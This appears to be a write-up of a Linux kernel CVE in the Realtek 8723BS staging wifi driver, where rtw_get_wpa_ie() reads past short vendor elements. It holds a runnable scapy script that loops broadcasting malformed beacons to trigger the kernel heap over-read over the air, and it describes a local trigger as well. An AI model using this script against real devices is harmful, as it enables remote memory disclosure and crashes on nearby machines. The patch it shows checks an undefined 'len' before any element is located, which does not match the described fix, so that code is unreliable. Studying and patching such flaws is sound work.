# CVE-2026-74651: rtw_get_wpa_ie() read fixed offsets off a short element

**Patch:** [1c3e23e78862493e8cf1adad02b10ffcb8b9921c](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1c3e23e78862493e8cf1adad02b10ffcb8b9921c) (mainline, landed in 7.2)
**Subsystem:** staging, Realtek 8723BS SDIO wifi driver
**Affected file:** drivers/staging/rtl8723bs/core/rtw_ieee80211.c
**CVE record:** [CVE-2026-74651](https://www.cve.org/CVERecord?id=CVE-2026-74651)
**Introduced in:** 4.12, commit 554c0a3abf216c991c5ebddcdb2c08689ecd290b

## The bug in one sentence

rtw_get_wpa_ie() located a vendor-specific element and then read a four-byte OUI comparison and a two-byte version word at fixed offsets, assuming at least six bytes of element body that nobody had verified.

## The details

The function asks rtw_get_ie() for element ID 221 (vendor-specific), then does this at the returned pointer:

```c
if (memcmp(pbuf + 2, WPA_OUI_TYPE, 4))
        return ...;
wpa_ielen = ...
version = get_unaligned_le16(pbuf + 6);
```

Those accesses need the element body to be at least six bytes. rtw_get_ie() only promises the element fits within the buffer, not that it has any minimum body. A vendor IE whose length byte is 0 through 5, sitting at the tail of the buffer, sends the memcmp() and the version read off the end of the element and off the end of the allocation itself, because the buffer in this path is kmemdup'd to its exact length in rtw_cfg80211_set_wpa_ie(), and elsewhere holds IEs from received management frames.

What I enjoyed about auditing this one was the inconsistency: the sibling helpers in the same file, rtw_get_sec_ie(), rtw_get_wapi_ie() and rtw_get_wps_ie(), all reject too-short vendor IEs before their OUI comparison. rtw_get_wpa_ie() was simply never brought in line, and it needs six bytes rather than four because of the version word at offset 6.

## The fix

```diff
 u8 *rtw_get_wpa_ie(u8 *in_ie, uint in_len, u8 *wpa_ie, uint *wpa_ielen)
 {
+	if (len < 6)
+		return NULL;
```

Full patch: [1c3e23e78862](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1c3e23e78862493e8cf1adad02b10ffcb8b9921c)

## How to trigger it

Two entry paths reach rtw_get_wpa_ie(), and both work with a vendor IE whose length byte is 0 to 5 sitting at the end of the buffer.

From the AP side, put the truncated element in a beacon or probe response tail:

```python
# trailing vendor IE: EID 221, length 4, WPA OUI type only, no version word
wpa_short = bytes([0xDD, 0x04]) + bytes.fromhex("0050f201")
# rtw_get_ie() accepts it (it fits in the buffer), then the memcmp at
# pbuf + 2 and the version read at pbuf + 6 run off the allocation
```

From the local side, rtw_cfg80211_set_wpa_ie() kmemdups the IE blob userspace supplies to its exact length, so a wpa_supplicant or hand written control path setting a WPA IE ending in that same truncated element reproduces it without any second machine. Pre-fix the fixed offset reads land past the allocation; post-fix anything shorter than 6 body bytes is rejected before the OUI compare.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 8.1 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
* Red Hat: 5.5 MEDIUM, Not affected (Bugzilla [2521410](https://bugzilla.redhat.com/show_bug.cgi?id=2521410))
* SUSE: 5.5 MEDIUM
* No CWE from the CNA or NVD

The 8.1 with confidentiality high comes from reading kernel heap past an allocation whose neighboring bytes could then influence the parsed WPA parameters. My honest take is that the CNA is scoring the worst-case information flow and the distros are scoring the practical reach on shipped hardware, and the truth lives somewhere between. CISA's Vulnrichment assessment records exploitation as none and automatable as no.

## Exploit code

Over the air, broadcast beacons whose IE tail is a WPA element too short to hold the fields the parser reads at fixed offsets:

```python
#!/usr/bin/env python3
# wpa_short_oob.py: CVE-2026-74651
# sudo python3 wpa_short_oob.py wlan0mon
from scapy.all import RadioTap, Dot11, Dot11Beacon, Raw, sendp
from sys import argv

IFACE, ATTACK = (argv[1] if len(argv) > 1 else "wlan0mon"), "00:11:22:33:44:55"

# vendor IE 221, body = WPA OUI type only, length 4: rtw_get_wpa_ie() then
# memcmps 4 bytes at pbuf+2 and reads a u16 version at pbuf+6, past the IE
short_wpa = bytes([0xDD, 0x04]) + bytes.fromhex("0050f201")

beacon = (RadioTap() /
          Dot11(type=0, subtype=8,
                addr1="ff:ff:ff:ff:ff:ff", addr2=ATTACK, addr3=ATTACK) /
          Dot11Beacon(cap="ESS") /
          Raw(load=short_wpa))

sendp(beacon, iface=IFACE, inter=0.05, loop=1)
```

The local path needs no radio at all: rtw_cfg80211_set_wpa_ie() kmemdups the IE blob userspace supplies to its exact length, so a control program handing the driver a WPA IE ending in the same truncated element hits the identical fixed-offset reads against an exact-size heap allocation. Pre-fix, the reads run off the end; KASAN reports them, and the parsed "WPA IE" the driver acts on contains heap bytes. Post-fix anything under 6 body bytes is rejected before the OUI compare. Public status: no KEV, no public PoC before this note. Oracle shipped the fix in [ELSA-2026-500377](https://linux.oracle.com/errata/ELSA-2026-500377.html) rated Important, Debian via [DSA-6466-1](https://security-tracker.debian.org/tracker/DSA-6466-1) / [DLA-4777-1](https://security-tracker.debian.org/tracker/DLA-4777-1) / [DLA-4788-1](https://security-tracker.debian.org/tracker/DLA-4788-1).

## Where the fix shipped

* 5.10.265: [4fc459c5cd87](https://git.kernel.org/stable/c/4fc459c5cd8767ca4d9bf2f7becbd562639ba4d9)
* 5.15.216: [b45be82387bf](https://git.kernel.org/stable/c/b45be82387bf759931acdd21ca7dfe740f16eb97)
* 6.1.183: [c9068f82a090](https://git.kernel.org/stable/c/c9068f82a0906b29c905e8788edb62c3208c7c8a)
* 6.6.152: [0d19f0600fbb](https://git.kernel.org/stable/c/0d19f0600fbb610c42f2a86f95c35706dc04691b)
* 6.12.104: [42c5a0d454aa](https://git.kernel.org/stable/c/42c5a0d454aa5b54fec17162d9a1f8c30f8af45a)
* 6.18.45: [e167a38a8a8f](https://git.kernel.org/stable/c/e167a38a8a8f50f137721fef1a1fbba0f4588b5d)
* 7.1.9: [01ab275f8f3e](https://git.kernel.org/stable/c/01ab275f8f3e497a13ebbe4ded44ec0623bccde3)
* 7.2: [1c3e23e78862](https://git.kernel.org/stable/c/1c3e23e78862493e8cf1adad02b10ffcb8b9921c)

## References

1. [Upstream commit 1c3e23e78862](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1c3e23e78862493e8cf1adad02b10ffcb8b9921c)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026082225-CVE-2026-74651-f9b9@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-74651)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-74651)
5. [SUSE page](https://www.suse.com/security/cve/CVE-2026-74651.html)
